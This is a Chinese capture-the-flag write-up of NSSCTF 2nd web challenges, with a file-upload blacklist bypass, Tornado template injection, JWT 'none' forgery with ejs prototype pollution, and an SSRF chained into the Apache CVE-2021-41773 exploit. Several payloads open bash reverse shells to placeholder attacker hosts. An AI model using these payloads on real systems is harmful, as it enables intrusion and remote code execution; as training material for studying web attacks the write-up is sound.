NSSCTF 2nd Web 题目复现

news2024/10/6 18:25:16

php签到

考点:

1.上传表单html的编写

2./. 绕过黑名单(在Linux系统下1.php.是一个合法的文件名,系统不会自动把最后的点去掉并把文件当成php文件执行,所以点绕过只在Windows下有用)

源代码:

<?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
}

 这里就是ban了 "ph", "htaccess", "ini" 然后通过post传文件 

首先咱们直接创建一个表单

<!DOCTYPE html>
<html>
<head>
    <title>File Upload Form</title>
</head>
<body>
<h1>File Upload Form</h1>
<form action="http://node5.anna.nssctf.cn:28526/" enctype="multipart/form-data" method="post" >
    <label for="file">Select a file:</label>
    <input type="file" name="file" id="file">
    <br>
    <input type="submit" value="Upload File">
</form>
</body>
</html>

然后上传一个php文件 后缀改为.php/.(/.最好用url编码) 然后上传成功即可连shell或者rce

这里介绍另一种解法 

import requests

url = 'http://node5.anna.nssctf.cn:28526/'
file_content = "<?php phpinfo();?>'"
file = {'file': ('1.php%2f.', file_content)}
response = requests.post(url, files=file)
print(response.text)

跑完访问1.php 搜索flag

 

 2周年快乐!

签到提

payload:

curl https://www.nssctf.cn/flag
 

MyHurricane 

考点:tornado模板注入

不懂可以看这边文章

https://blog.csdn.net/miuzzx/article/details/123329244

直接给了源码


import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

可以看到源码过滤了'"__()orandnot{{}}

和flask模板一样,我们可以用{%代替{{

 为了避免出现括号、下划线等字符,我们可以不用引号直接就行模板继承从而达到任意文件读取的效果。

payload:(非预期:直接读取环境变量)

ssti={% include /proc/1/environ %}

 

方法二:命令执行

如果没有过滤,我们的payload:

{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}


这里可以从上述文章得到一个需要稍加修改的payload

既然已经过滤了', ", __, (, ), or, and, not, {{, }},那我们就一步步来绕过过滤

先绕过过滤{{}},我们可以用{%。

{%autoescape None%}{%raw ...%}可以等同于{{ }},这个在官方文档中有写。

因为过滤的是双下划线__,所以这里我们用单下划线也可以,也就是可以利用_tt_utf8

剩下的就可以对_tt_utf8进行变量覆盖来进行绕过了

参考:

tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)

这里借用一下Boogipop师傅的payload:

POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
 

改下ip 和port就行

最终环境变量找到flag

MyJs 

打开是个登入页面 查看源码 有/source 访问/source路由得到源代码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

先利用register路由注册一个账号

注册之后得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJhIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTg0NjMyMzJ9.nfg3mfhSXwfyh-kySP3a7zXkBxQp_sR7-CQESEJvBqw

一眼 jwt 解码看看

https://jwt.io/

 

查看源码,在/register的路由源码中得知,题目中存在一个nss的用户名

 

以及在以nss登录后,于/update路由中我们可以构造payload造成ejs模板引擎污染

req.session.data = lodash.merge(data, req.body);中的merge函数是原型链污染高位函数

 

关键还是在login路由的代码 

.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})

代码中的变量sid是JWT中的secretid,要求是不等于undefined,null等等。

验证用户名时使用了函数verify,verify()指定算法的正确方式应该是通过algorithms传入数组,而不是algorithm。

在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。

所以我们的目标进一步是使得代码中JWT解密密钥secret为null或者undefined

代码中的密钥是变量secret是global.secrets[sid],只要我们使sid为空数组[],也就是JWT中的secretid为空数组[],我们就可以使得上面步骤得以实现,然后用空算法(none)伪造JWT
参考:从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

那么我们伪造JWT的脚本如下:

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

 生成

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTM1NjE3NDR9.

登入nss

 

 接下来就是原型链污染了。这里是ejs模板引擎污染,payload可以直接打

/update路由下进行,这里记得修改一下Content-typeapplication/json,以让服务端接受json请求

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/XXX/2333 0>&1\"');","compileDebug":true
    }
}

修改一下xxx为你的攻击机ip 然后重新访问/home来反弹shell

在环境变量找到flag

 

MyBox 

 非预期

?url=file:///proc/1/environ

 预期:

?url=file:///app/app.py
 

 得到源码:

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        if 'proc' in url or 'flag' in url:
            return 'no!'
        with open(url[7:], 'r') as f:
            data = f.read()
            if url[7:] == '/app/app.py':
                return data
            if 'NSSCTF' in data:
                return 'no!'
            return data
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)
  1. 代码使用Flask类定义了一个Flask Web应用程序。
  2. index()函数是应用程序的主要路由,当访问根URL(“/”)时会被调用。
  3. 如果URL中没有提供url查询参数,用户会被重定向到根URL,并附带默认值为"dosth"的url参数。
  4. 如果url参数以"file://“开头,代码会检查URL是否包含特定的关键词(“proc"或"flag”)。如果其中任何一个关键词存在,会返回"no!”。否则,它会读取在"file://"之后指定的文件的内容,并执行特定的操作:
  • 如果文件路径为"/app/app.py",则返回该文件的内容。
  • 如果文件内容包含"NSSCTF",则返回"no!"。
  • 否则,返回文件的内容。
  1. 如果url参数以"http://localhost/"开头,代码会向指定的URL发出HTTP GET请求(假设该URL位于本地机器上),并返回响应的文本内容。
  2. 如果url参数以"mybox://127.0.0.1:"开头,代码会从URL中提取端口号和内容。然后,它会建立到"127.0.0.1"上指定端口的TCP套接字连接,并将URL解码后的内容以字节形式发送到套接字。它会接收以1024字节为单位的数据块,直到没有更多数据可接收为止,然后将接收到的数据作为响应返回。

 

 

和之前的就别就是不可以直接读取环境变量

这里可以看到一个比较明显的SSRF利用点

    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

利用gopher协议来打

 具体访问:

https://zhuanlan.zhihu.com/p/112055947

 利用gopher协议来打,脚本如下 

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

 得到

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

但是代码修改过,我们需要利用mybox进行交互而不是gopher,修改一下 

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
 

这里注意一下,是需要二次URL编码的 

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
 

 

Apache/2.4.49 (Unix),这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773) 

 这里直接用gopher协议去打这个漏洞,POST发包,执行命令来反弹shell

 脚本如下

import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1'  //填入攻击机ip端口
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求发包所以要进行两次url编码

 得到:

gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

记得修改为mybox 

mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

 

传参成功进行反弹shell 环境得到flag


 

 

 

 


 

 

 


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1150611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ICS TRIPLEX T9432 电源模块

电源模块是电子装备中的重要组成部分&#xff0c;用于供给电能以供给装备中的各种电子元件和电路。电源模块具备多种特征&#xff0c;以保证供给稳定、否靠的电源&#xff0c;顺应不同运用的需要。以下是电源模块的一些主要特征&#xff1a; 电压和电流输入&#xff1a; 电源模…

纬创出售印度子公司给塔塔集团,结束iPhone代工业务 | 百能云芯

纬创&#xff08;Wistron&#xff09;董事会于10月27日通过决议&#xff0c;同意以1.25亿美元的价格出售其印度子公司Wistron InfoComm Manufacturing (India) Private Limited&#xff08;WMMI&#xff09;的100%股权给塔塔集团&#xff0c;交割将尽快完成。此举将意味着纬创退…

高效学习之anki新手入门指南(ios端,包括ipad、ihpone设备)————创建、使用、备份、相关资料

文章目录 0 背景0.1 闭环学习0.2 什么是anki 1 开始使用1.1 导入1.2 创建空白组1.3 创建卡片1.3.1 利用anki创建卡片的两种方法1.3.2 复习材料分类 2 操作卡牌&#xff08;位于卡牌界面中“游览”&#xff09;2.1 清空卡牌状态&#xff08;清空之前的“重来”、“困难”、“简单…

电源模块测试用例之电压上升时间测试方案

电压上升时间是电源模块一个非常重要的参数&#xff0c;它直接影响着电路的稳定性。电源模块电压上升过快或过慢都有可能会使系统发生故障&#xff0c;造成设备器件受损。因此&#xff0c;上升时间测试是电源模块测试非常重要的环节。纳米软件电源模块测试系统助力自动化测试&a…

GNN 简介

A Gentle Introduction to Graph Neural Networks A Gentle Introduction to Graph Neural Networks GNN简介 图神经网络&#xff08;GNN&#xff09;是一种基于图结构数据的深度学习模型&#xff0c;用于处理和分析图数据。图数据由节点&#xff08;顶点&#xff09;和边&a…

在Win11上部署ChatGLM3详细步骤

023年10月27日&#xff0c;智谱AI于2023中国计算机大会&#xff08;CNCC&#xff09;上&#xff0c;推出了全自研的第三代基座大模型ChatGLM3及相关系列产品&#xff0c;这也是智谱AI继推出千亿基座的对话模型ChatGLM和ChatGLM2之后的又一次重大突破。此次推出的ChatGLM3采用了…

【计算机网络】浏览器的通信能力

1. 用户代理 浏览器可以代替用户完成http请求&#xff0c;代替用户解析响应结果&#xff0c;所以我们称之为用户代理 user agent。 浏览器两大核心能力&#xff1a; 自动发送请求的能力自动解析响应的能力 1.1 自动发送请求的能力 用户在地址栏输入了一个url地址&#xff0…

Mac 上安装 Emscripten

背景&#xff1a;Web 端需要使用已有的 C 库&#xff0c;需要将 C 项目编译成 WebAssembly(.wasm) 供 js 调用。 Emscripten 可以将 C 编译成 .wasm 一、下载源码 # 下载 emsdk 源码 git clone https://github.com/emscripten-core/emsdk.git# 下载完成后进入到 emsdk 项目根…

voco品牌入华三周年,以“妙趣重生”之姿共绘酒店永续发展新风向

入华三年高速发展&#xff0c;乘酒店存量市场之潮&#xff0c;用艺术诠释绿色环保&#xff0c;趣享可持续旅程 2023年10月30日&#xff0c;西安 – 近日&#xff0c;洲际酒店集团旗下高端酒店品牌voco迎来进入大中华市场三周年&#xff0c;并于西安经开voco酒店举办周年庆典&a…

回收废品抢派单小程序开源版开发

回收废品派单抢派单小程序开源版开发 在这个废品回收抢单派单小程序开源版开发中&#xff0c;我们将构建一个专业且富有趣味性的平台&#xff0c;以深度的模式来重塑废品回收体验。 我们将提供一个会员注册功能&#xff0c;用户可以通过小程序授权注册和手机号注册两种方式快…

chatgpt账号,官方账号获取

有需要帮助可以联系我&#xff0c;我可以帮助获取&#xff08;有偿&#xff09;。

vue页面el-tab控件标签栏加入按钮功能

vue页面el-tab控件标签栏加入按钮功能 显示效果为&#xff1a; <el-tabs v-model"activeName" type"border-card" style"margin-right:5px"><el-tab-pane label"模型管理" name"first"><span slot"l…

安装Pytorch的详细步骤

若为安装Anaconda的友友&#xff0c;可以移步到这篇文章&#xff0c;先安装anaconda&#xff1a; https://blog.csdn.net/mariodf/article/details/134119941 一、anaconda创建虚拟环境 1、首先输入&#xff1a; conda env list 可以查看当前的虚拟环境&#xff1a; 2、创…

Linux网络基础2 -- 应用层相关

一、协议 引例&#xff1a;编写一个网络版的计算器 1.1 约定方案&#xff1a;“序列化” 和 “反序列化” 方案一&#xff1a;客户端发送形如“11”的字符串&#xff0c;再去解析其中的数字和计算字符&#xff0c;并且设限&#xff08;如数字和运算符之间没有空格; 运算符只…

jenkins详细安装教程

这里写目录标题 一、Jenkins安装与部署1-1、Jenkins的简介1-2、下载需要的软件1-2-1 jekins.war1-2-2 tomcat安装方式 1-3、使用11版本的jdk1-4、开启jenkins1-5、获取密码1-5 修改镜像(可改可不改) 二、卸载Jenkins 一、Jenkins安装与部署 1-1、Jenkins的简介 Jenkins是一个…

vue封装个日历,样式参考vant

vue封装个日历&#xff0c;样式参考vant 结果展示 <template><div class"report"><Header title"工作日历" :isShowLeft"true" onClickBack"goBack" /><div class"report-content"><van-icon …

Vue 菜单导航栏,轮播图

导航菜单栏结构和样式代码实现 一级导航栏 views/HomeView.vue <template><div><Shortcut></Shortcut><Header></Header><div class"inner"><Navigation></Navigation></div><div>我是主页&l…

多人协作使用git如何解决冲突?

什么情况会产生冲突 git merge XXX(合并分支时的冲突)&#xff1a; 当你尝试将一个分支的更改合并到另一个分支时&#xff0c;如果两个分支都修改了相同的文件的相同部分&#xff0c;Git 将无法自动解决冲突&#xff0c;因此会发生冲突。你需要手动解决这些冲突&#xff0c;然后…

外汇天眼:在2023年Expo上探索金融科技的未来!

从2020年初至2022年年底&#xff0c;全球范围内爆发的新冠疫情蔓延&#xff0c;对各国经济造成了严重冲击&#xff0c;导致贸易活动几近停滞&#xff0c;国际人员流动受限&#xff0c;产业链陷入危机。为应对这一局面&#xff0c;美欧经济体采取了前所未有的扩张性财政和货币政…

【已解决】取消 el-aside 默认宽度|不再用 !important

文章目录 问题原因解决方法 问题原因 element-ui 的 el-aside 组件有 width props&#xff0c;默认为 300px 解决方法 给 el-aside 标签添加 width"" width 为空&#xff08;不正确的css样式/写法&#xff09;样式将会失效。 就可以在 style 中修改 el-aside 宽…